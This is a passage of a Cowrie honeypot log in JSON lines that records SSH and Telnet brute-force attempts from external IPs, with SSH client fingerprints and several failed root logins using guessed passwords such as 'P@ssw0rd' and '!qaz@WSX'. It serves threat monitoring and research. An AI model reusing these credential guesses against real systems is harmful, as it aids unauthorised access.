{"eventid":"cowrie.session.closed","duration":45.5765016078949,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:31.612963Z","src_ip":"192.119.13.58","session":"467ea37c24e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":49550,"dst_ip":"10.17.0.5","dst_port":22,"session":"c343f487de65","protocol":"ssh","message":"New connection: 103.183.114.55:49550 (10.17.0.5:22) [session: c343f487de65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:36.320892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:36.325834Z","src_ip":"103.183.114.55","session":"c343f487de65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:36.554407Z","src_ip":"103.183.114.55","session":"c343f487de65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":47958,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc00ddbaf868","protocol":"ssh","message":"New connection: 51.250.105.222:47958 (10.17.0.5:22) [session: cc00ddbaf868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:36.913479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:36.921025Z","src_ip":"51.250.105.222","session":"cc00ddbaf868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:37.043761Z","src_ip":"51.250.105.222","session":"cc00ddbaf868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"????????","message":"login attempt [root/????????] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:37.246870Z","src_ip":"103.183.114.55","session":"c343f487de65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:37.551629Z","src_ip":"51.250.105.222","session":"cc00ddbaf868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:38.474825Z","src_ip":"103.183.114.55","session":"c343f487de65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:38.682598Z","src_ip":"51.250.105.222","session":"cc00ddbaf868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45198,"dst_ip":"10.17.0.5","dst_port":23,"session":"7644e0b4f747","protocol":"telnet","message":"New connection: 192.119.13.58:45198 (10.17.0.5:23) [session: 7644e0b4f747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:40.018653Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50312,"dst_ip":"10.17.0.5","dst_port":23,"session":"a09bc7476c44","protocol":"telnet","message":"New connection: 192.119.13.58:50312 (10.17.0.5:23) [session: a09bc7476c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:41.463808Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":55544,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6319309d45f","protocol":"ssh","message":"New connection: 5.181.124.9:55544 (159.203.135.109:22) [session: a6319309d45f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:48.060450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:48.162592Z","src_ip":"5.181.124.9","session":"a6319309d45f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:48.260565Z","src_ip":"5.181.124.9","session":"a6319309d45f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":18584,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2a10e96bcd2","protocol":"ssh","message":"New connection: 103.24.63.85:18584 (159.203.135.109:22) [session: d2a10e96bcd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:49.831237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:50.023620Z","src_ip":"103.24.63.85","session":"d2a10e96bcd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:50.205132Z","src_ip":"103.24.63.85","session":"d2a10e96bcd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54528,"dst_ip":"10.17.0.5","dst_port":23,"session":"6011e6ffadfa","protocol":"telnet","message":"New connection: 192.119.13.58:54528 (10.17.0.5:23) [session: 6011e6ffadfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:50.310153Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:51.120429Z","src_ip":"103.24.63.85","session":"d2a10e96bcd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":45522,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4672f4b0893","protocol":"ssh","message":"New connection: 92.207.4.157:45522 (159.203.135.109:22) [session: b4672f4b0893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:52.127635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:52.132092Z","src_ip":"92.207.4.157","session":"b4672f4b0893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:52.244554Z","src_ip":"92.207.4.157","session":"b4672f4b0893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:52.324127Z","src_ip":"103.24.63.85","session":"d2a10e96bcd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2017","message":"login attempt [root/2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:52.727337Z","src_ip":"92.207.4.157","session":"b4672f4b0893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:53.875749Z","src_ip":"92.207.4.157","session":"b4672f4b0893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":45438,"dst_ip":"159.203.135.109","dst_port":22,"session":"469b3b92dac6","protocol":"ssh","message":"New connection: 77.105.130.18:45438 (159.203.135.109:22) [session: 469b3b92dac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:54.768940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:54.774060Z","src_ip":"77.105.130.18","session":"469b3b92dac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.45202946662903,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:54.780714Z","src_ip":"192.119.13.58","session":"407608d8e73d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:54.874444Z","src_ip":"77.105.130.18","session":"469b3b92dac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42340,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f69c347fefe","protocol":"telnet","message":"New connection: 192.119.13.58:42340 (10.17.0.5:23) [session: 8f69c347fefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:54.960634Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"tinkerbell","message":"login attempt [root/tinkerbell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:55.072683Z","src_ip":"5.181.124.9","session":"a6319309d45f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43360,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ab71fcdcbab","protocol":"telnet","message":"New connection: 192.119.13.58:43360 (10.17.0.5:23) [session: 1ab71fcdcbab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:55.233439Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:55.303736Z","src_ip":"77.105.130.18","session":"469b3b92dac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:56.166632Z","src_ip":"5.181.124.9","session":"a6319309d45f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:56.406905Z","src_ip":"77.105.130.18","session":"469b3b92dac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.07049894332886,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:04:58.587011Z","src_ip":"192.119.13.58","session":"4359bf30a44d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":45692,"dst_ip":"159.203.135.109","dst_port":22,"session":"471e1dde0bcf","protocol":"ssh","message":"New connection: 43.135.176.251:45692 (159.203.135.109:22) [session: 471e1dde0bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:00.362855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:00.368043Z","src_ip":"43.135.176.251","session":"471e1dde0bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:00.438758Z","src_ip":"43.135.176.251","session":"471e1dde0bcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucio123","message":"login attempt [root/lucio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:00.755677Z","src_ip":"43.135.176.251","session":"471e1dde0bcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:01.832367Z","src_ip":"43.135.176.251","session":"471e1dde0bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":38334,"dst_ip":"159.203.135.109","dst_port":22,"session":"615749f46ced","protocol":"ssh","message":"New connection: 37.143.61.84:38334 (159.203.135.109:22) [session: 615749f46ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:04.108234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:04.118987Z","src_ip":"37.143.61.84","session":"615749f46ced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 